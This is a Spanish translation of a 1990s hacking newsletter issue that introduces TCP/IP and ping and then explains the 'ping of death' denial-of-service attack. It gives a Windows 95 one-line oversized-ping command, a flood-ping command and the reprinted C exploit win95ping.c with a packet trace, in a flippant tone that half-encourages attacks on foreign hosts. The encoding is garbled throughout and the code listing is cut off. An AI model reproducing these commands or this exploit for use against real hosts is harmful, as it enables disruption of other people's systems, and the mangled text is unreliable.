guia2_3

GUï¿½A DEL HACKING (mayormente) INOFENSIVO

Vol. 2 Numero 3

Introducciï¿½n a TCP/IP. ï¿½Eso significa paquetes! ï¿½Datagramas! Se explica el exploit de denegaciï¿½n de servicio por paquete de ping gigante. Pero este hack es mucho menos inofensivo que la mayorï¿½a. No intentes esto en casa...

Si has estado en la lista Happy Hacker por un momento, habrï¿½s estado recibiendo elementos dirigidos de la lista Bugtraq acerca de un nuevo exploit de paquetes ping.

Si esto te ha estado sonando a galimatï¿½as, relï¿½jate. Es realmente muy sencillo. De hecho, es tan simple que si usas Windows 95, en cuanto termines este texto sabrï¿½s un simple comando de una sola lï¿½nea que podrï¿½s usar para tirar abajo muchos hosts y routers de Internet.

ADVERTENCIA PUEDES IR A LA Cï¿½RCEL: Esta vez no voy a implorar a los genios malignos "quiero-ser-hacker" en la lista para que sean virtuosos y resistan la tentaciï¿½n de emplear mal la informaciï¿½n que estoy apunto de darles. ï¿½Mira si me preocupa! Si uno de esos tï¿½os es pillado tirando abajo miles de hosts y routers de Internet, no solo irï¿½n a la cï¿½rcel y tendrï¿½n una gran multa. Todos nosotros pensaremos que el o ella es un/a gran capullo. Este exploit es un comando desde Windows 95 nada complicado y de una sola lï¿½nea. Si, el sistema operativo que esta diseï¿½ado para retrasados mentales desorientados. Asï¿½ que no hay nada de elite sobre este hack. Lo que es elite es ser capaz de desbaratar este ataque.

NOTA PARA NOVATOS: Si los paquetes, datagramas, y TCP/IP no son exactamente tus entraï¿½ables colegas aun, crï¿½eme, necesitas de verdad meterte en la cama con ellos para poderte llamar hacker. Asï¿½ que quï¿½date aquï¿½ para algo de material tï¿½cnico. Cuando lo tengas, tendrï¿½s la satisfacciï¿½n de saber que puedes sembrar estragos en Internet, pero son muy elite para llevarlos hacerlo. Mas aun, este exploit ha sido descubierto recientemente -- como hace unos dï¿½as. Asï¿½ que pronto sabrï¿½s cosas que la mayorï¿½a de los hackers elite ni siquiera han oï¿½do aun.

Un paquete es un modo de mandar informaciï¿½n electrï¿½nica que mantiene fuera los errores. La idea es que ninguna tecnologï¿½a de transmisiï¿½n es perfecta. ï¿½Has jugado alguna vez al juego "telï¿½fono"? Reï¿½nes una docena de gente o asï¿½ en un circulo y la primera persona le susurra un mensaje al segundo. Algo como "El bollo es la forma mï¿½s pequeï¿½a de cereal". La segunda persona le susurra al tercero, "Un bollo es la forma mï¿½s pequeï¿½a de estafar". La tercera susurra, "El ron es la forma mï¿½s pequeï¿½a de beber". Y asï¿½. Es muy divertido el descubrir lo mucho que un mensaje puede mutar mientras recorre el circulo.

Pero entonces, por ejemplo, recibes email, preferirï¿½s que no este todo hecho un lï¿½o. Asï¿½ que el ordenador que manda el email lo divide en pequeï¿½os trozos llamados datagramas. Entonces envuelve las cosas alrededor de cada datagrama que le dice a que ordenadores debe dirigirse, de donde procedï¿½a, y que compruebe si el datagrama ha podido ser truncado. A estos embalajes de datagramas envueltos se les llaman "paquetes".

Ahora si el ordenador que te manda el email fuera a "embalar" un mensaje realmente largo en tan solo un paquete, las posibilidades de que se desordene todo en su camino al otro ordenador son muy grandes. Un poco chungo. Asï¿½ que cuando el ordenador que lo recibe comprueba el paquete y encuentra que se desordeno, lo tirara y le dirï¿½ al otro ordenador que lo vuelva a mandar. Podrï¿½a llevar mucho tiempo hasta que este paquete gigante llegue intacto.

Pero si el mensaje esta dividido en un montï¿½n de pequeï¿½os trozos y envueltos en manojos de paquetes, la mayorï¿½a de ellos estarï¿½n bien y el ordenador destino los guardara. Entonces le dirï¿½ al ordenador remitente que reenvï¿½e solo los paquetes que estaban hechos un lï¿½o. Entonces cuando todos los trozos lleguen finalmente allï¿½, el ordenador destinatario los une en el orden correcto y allï¿½ esta, ahï¿½ esta el mensaje completo, email sin errores.

TCP/IP significa Transmission Control Protocol/Internet Protocol. Le dice a los ordenadores que estï¿½n conectados a Internet como empaquetar los mensajes en paquetes y como leer paquetes estos paquetes de otros ordenadores. El ping usa TCP/IP para hacer sus paquetes.

"Ping" es un comando que manda una sonda de tu ordenador a otro ordenador para ver si esta encendido y conectado a la misma red a la que lo estas tu. En Internet hay unos 10 millones de ordenadores a los que puedes hacer ping.

Ping es un comando que puedes dar, por ejemplo, desde los sistemas operativos UNIX, Windows 95 y Windows NT. Es parte del Internet Control Message Protocol (ICMP), que es usado para localizar averï¿½as de redes TCP/IP. Lo que hace es decir a un ordenador remoto que devuelva el ping. Mas aun, algunas formas del comando ping te dirï¿½n ademï¿½s lo que tarda un mensaje en ir a ese ordenador y volver de vuelta.

Pero ï¿½cï¿½mo sabe tu ordenador que el ping que acaba de mandar ha vuelto del ordenador apuntado? El datagrama es la respuesta. El ping enviado es un paquete, y como cualquier paquete esta envuelto alrededor de un datagrama. Si el ping devuelto mantiene este mismo datagrama, sabes que fue tu ping que acaba de ser devuelto.

El formato bï¿½sico de este comando es simplemente:

ping hostname

donde "hostname" es la direcciï¿½n de Internet del ordenador que quieres comprobar.

Cuando doy este comando desde el UNIX Release 4.1 de Sun, la respuesta que recibo es "hostname is alive".

CONSEJO Tï¿½CNICO: Debido a los poderes destructivos del ping, muchos proveedores de servicios de Internet esconden el programa ping en sus cuentas shell donde los novatos desorientados no puedan meter sus manos. Si tu cuenta shell dice "comando no encontrado" cuando metes el comando ping, prueba:

/usr/etc/ping hostname

Si esto no funciona, quï¿½jate al servicio tï¿½cnico de tu proveedor.

NOTA PARA NOVATOS: ï¿½Dices que no puedes encontrar un modo de hacer ping desde tu servicio ON-LINE? Eso puede ser quizï¿½s debido a que no tienes cuenta shell. Pero hay una cosa que realmente necesitas para hackear: ï¿½ï¿½ï¿½UNA CUENTA SHELL!!!

La razï¿½n por la cual los hackers se rï¿½en de la gente con cuentas en America Online es por que ese proveedor no da cuentas shell. Esto es debido a que America Online quiere que seï¿½is buenos chicos y chicas y no hackeeis.

Una "cuenta shell" es una cuenta de Internet en la que tu ordenador se convierte en un terminal de uno de los hosts de tu proveedor. Una vez estas en el "shell" puedes dar comandos al sistema operativo (que normalmente es UNIX) como si estuvieras sentado allï¿½ en la consola de uno de los hosts de tu proveedor.

Puede que ya tengas una cuenta shell pero simplemente no sepas como meterte en ella. Llama al soporte tï¿½cnico de tu proveedor para averiguar si tienes una y como conectarte.

Hay toda clase de variaciones del comando ping. Y, sabes algo, donde quiera que hay un comando que ejecutas en Internet que tenga muchas variaciones, puedes simplemente contar con que haya algo hackeable ahï¿½. ï¿½Muhahaha!

El flood ping es un ejemplo simple. Si tu sistema operativo te permite dar el comando:

-> ping -f hostname

manda un verdadero aluviï¿½n de pings, tan rï¿½pido como el host de tu proveedor pueda hacerlo. Esto mantiene al host al que has apuntado tan ocupado devolviendo tus pings que poco mï¿½s puede hacer. Tambiï¿½n pone una carga muy pesada en la red.

Hackers con habilidades primitivas algunas veces se unirï¿½n y usaran varios de sus ordenadores a la vez para hacer ping simultï¿½neamente al ordenador host de alguna vï¿½ctima de Internet. Esto generalmente mantendrï¿½ al ordenador de la vï¿½ctima muy ocupado para hacer cualquier otra cosa. Puede incluso venirse abajo. Sin embargo, la parte mala (desde el punto de vista de los atacantes) es que mantiene al ordenador atacante atado tambiï¿½n.

NOTA NETIQUETTE: Hacer flood ping a un ordenador es extremadamente rudo. Que te cazen haciendo esto y tendrï¿½s suerte si lo peor que ocurre es que tu proveedor de servicios on-line cierra tu cuenta. Haz esto a un hacker serio y necesitaras un transplante de identidad.

Si por accidente llegas a empezar un tipo de flood ping, puedes detenerlo presionando la tecla control y "c" (control-c).

CONSEJO DE GENIO MALIGNO: ï¿½Hazte un ping a ti mismo! Si usas algï¿½n tipo de UNIX, tu sistema operativo te dejara usar tu ordenador para hacerle simplemente casi todo lo que ï¿½l puede hacer a otros ordenadores. La direcciï¿½n de red que te manda de vuelta a tu propio ordenador es localhost (o 127.0.0.1). Aquï¿½ va un ejemplo de como uso localhost:

<slug> [65] ->telnet localhost

Trying 127.0.0.1 ...

Connected to localhost.

Escape character is '^]'.

SunOS UNIX (slug)

Ves, vuelvo de nuevo a la secuencia de login del ordenador llamado "slug".

Ahora me hago un ping a mï¿½ mismo:

<llama> [68] ->/usr/etc/ping localhost

localhost is alive

Esto me da el mismo resultado que si diera el comando:

<llama> [69] ->/usr/etc/ping llama

llama.swcp.com is alive

CONSEJO MUHAHAHA: ï¿½Quieres tirar de la cadena de alguien? Dile que haga ftp a 127.0.0.1 y que se conecte usando su propio nombre de usuario y password para pillar ï¿½warez cojonudo! Mi exmarido Keith Henson lo hizo en la Iglesia de la Cienciologia. Los miembros hicieron ftp a 127.0.0.1 y descubrieron todas sus escrituras con Copyright. Asumieron que esto estaba en el ordenador de Keith, no en el suyo. Estaban *tan* seguros de que tenia sus escrituras que le llevaron a juicio. El juez, cuando se dio cuenta de que estaban simplemente haciendo un loop en su propio ordenador, literalmente les mando de la sala descojonï¿½ndose de ellos.

Para una transcripciï¿½n buenï¿½sima o cinta de audio de esta sesiï¿½n de juicio infame, manda un email a [email protected]. Esa es la direcciï¿½n email de Keith. ï¿½Me quito el sombrero por un superhacker!

Sin embargo, el exploit del paquete ping descomunal que estas apunto de aprender puede incluso hacer mas daï¿½o a algunos hosts que una banda de conspiradores de ping flood. Y lo harï¿½ sin necesidad de reunir los ordenadores de los atacantes por mas del segundo que tarda ‚l en enviar un solo ping.

El modo mï¿½s fï¿½cil de hacer esto es correr Windows 95. ï¿½No lo tienes?

Generalmente podrï¿½s encontrar un almacï¿½n El Cheapo que te lo mandara por $99.

Para hacer esto, primero configura tu sistema Windows 95 para que puedas establecer una conexiï¿½n PPP o SLIP con Internet usando el programa de Acceso Telefï¿½nico a Redes en el icono de Mi PC. Necesitaras algo de ayuda del soporte tï¿½cnico de tu proveedor para configurar esto. Debes hacerlo de este modo o este hack no funcionara. Tu dialer de America Online *definitivamente* no funcionara.

NOTA PARA NOVATOS: Si tu conexiï¿½n a Internet te permite ejecutar un browser que muestre grï¿½ficos/fotos, puedes usar tu numero de llamada con el programa de Acceso Telefï¿½nico a Redes de tu Windows 95 para pillar una conexiï¿½n o bien PPP o SLIP

Lo siguiente, conï¿½ctate a Internet. Pero no ejecutes ningï¿½n browser o lo que sea. En vez de eso, una vez que el programa de Acceso Telefï¿½nico a Redes te diga que estas conectado, haz click en el botï¿½n "Inicio" y vete a "MS-DOS".

Abre esta ventana DOS. Recibirï¿½s el prompt:

C:\windows\>

Ahora primeramente hagamos esto de la manera de buen ciudadano. En este prompt puedes teclear el comando "ping":

C:\windows\ping hostname

donde "hostname" es la direcciï¿½n de algï¿½n ordenador de Internet. Por ejemplo, puedes hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, que esta detrï¿½s de algï¿½n filosofo Griego oscuro.

Ahora si ocurre que sabes la direcciï¿½n de uno de los ordenadores de Sadam Hussein, sin embargo, puede que quieras dar el comando:

c:\windows\ping -l 65510 saddam_hussein's.computer.mil

ï¿½Realmente no lo hagas a un ordenador real! Algunos, pero no todos, los ordenadores se vendrï¿½n abajo y se mantendrï¿½n o bien colgados o se resetearï¿½n cuando reciban este ping. Otros continuaran funcionando alegremente, y de repente se irï¿½n abajo horas mas tarde.

ï¿½Por que? Ese extra aï¿½adido -l 65510 crea un datagrama gigante que es envuelto dentro del paquete ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama idï¿½ntico, se hacen un verdadero lï¿½o.

Si quieres saber todos los detalles sangrientos de este exploit ping, incluyendo el cï¿½mo proteger tus ordenadores de ï¿½l, comprueba: http://www.sophist.demon.co.uk/ping

Ahora, hay otras formas de crear un datagrama ping gigante ademï¿½s de usar Windows 95. Por ejemplo, si corres alguna versiï¿½n UNIX de FreeBSD o Linux en tu PC, puedes ejecutar este programa, que fue posteado a la lista Bugtraq.

From: Bill Fenner <[email protected]>

To: Multiple recipients of list BUGTRAQ <[email protected]>

Subject: Ping exploit program

Ya que hay gente que no tiene necesariamente cajas de Windows 95 por ahï¿½, yo (Fenner) escribï¿½ el siguiente programa exploit. Requiere un raw socket layer que no interfiera con el paquete, asï¿½ que BSD 4.3, SunOS y Solaris estï¿½n fuera. Funciona bien en sistemas 4.4BSD. Puede funcionar en Linux si lo compilas con -DREALLY_RAW.

Eres libre de hacer con esto lo que quieras. Por favor usa esto solo para testear tus propias maquinas, y no para tirar las de otros.

* win95ping.c

* Simulate the evil win95 "ping -l 65510 buggyhost".

* version 1.0 Bill Fenner <[email protected]> 22-Oct-1996

* This requires raw sockets that don't mess with the packet at all (other

* than adding the checksum). That means that SunOS, Solaris, and

* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,

* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux

* system to try it on.

* The attack from the Win95 box looks like:

* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)

* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)

* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)

* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)

* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)

* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)

* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)

* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)

* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)

* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)

* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)

* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)

* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)

* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)

* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)

* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)

* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)

* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)

* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)

* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)

* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)

* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)

* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)

* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)

* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)

* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)

* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)

* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)

* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)

* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)

* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)

* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)

* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)

* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)

* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)

* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)

* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)

* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)

* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)

* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)

* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)

* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)

* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)

* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)

* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

* If your kernel doesn't muck with raw packets, #define REALLY_RAW.

* This is probably only Linux.

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

(Fin del mensaje del exploit ping de Fenner.)

NOTA PUEDES IR A LA Cï¿½RCEL: No sï¿½lo este hack no es ï¿½lite, si estï¿½s leyendo esto no sabes lo suficiente para evitar ser cazado por llevar a cabo este hack. Por otro lado, si fueras a hacerlo a un host de Internet en Iraq...

Por supuesto hay muchas otras cosas guay que puedes hacer con el ping. Si tienes una cuenta shell, puedes descubrir un montï¿½n de cosas acerca del ping dando el comando:

man ping

De hecho, puedes obtener un montï¿½n de detalles de cualquier comando de UNIX con "man".

Diviï¿½rtete con el ping -- y ï¿½se bueno! Pero recuerda, no estoy implorando a los genios malignos quiero-ser-hacker que sean buenos. Mira si me preocupo cuando te cazen...

ï¿½Quieres ver nï¿½meros atrasados de la Guï¿½a del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ï¿½Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ï¿½Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!

Esta pï¿½gina estï¿½ alojada en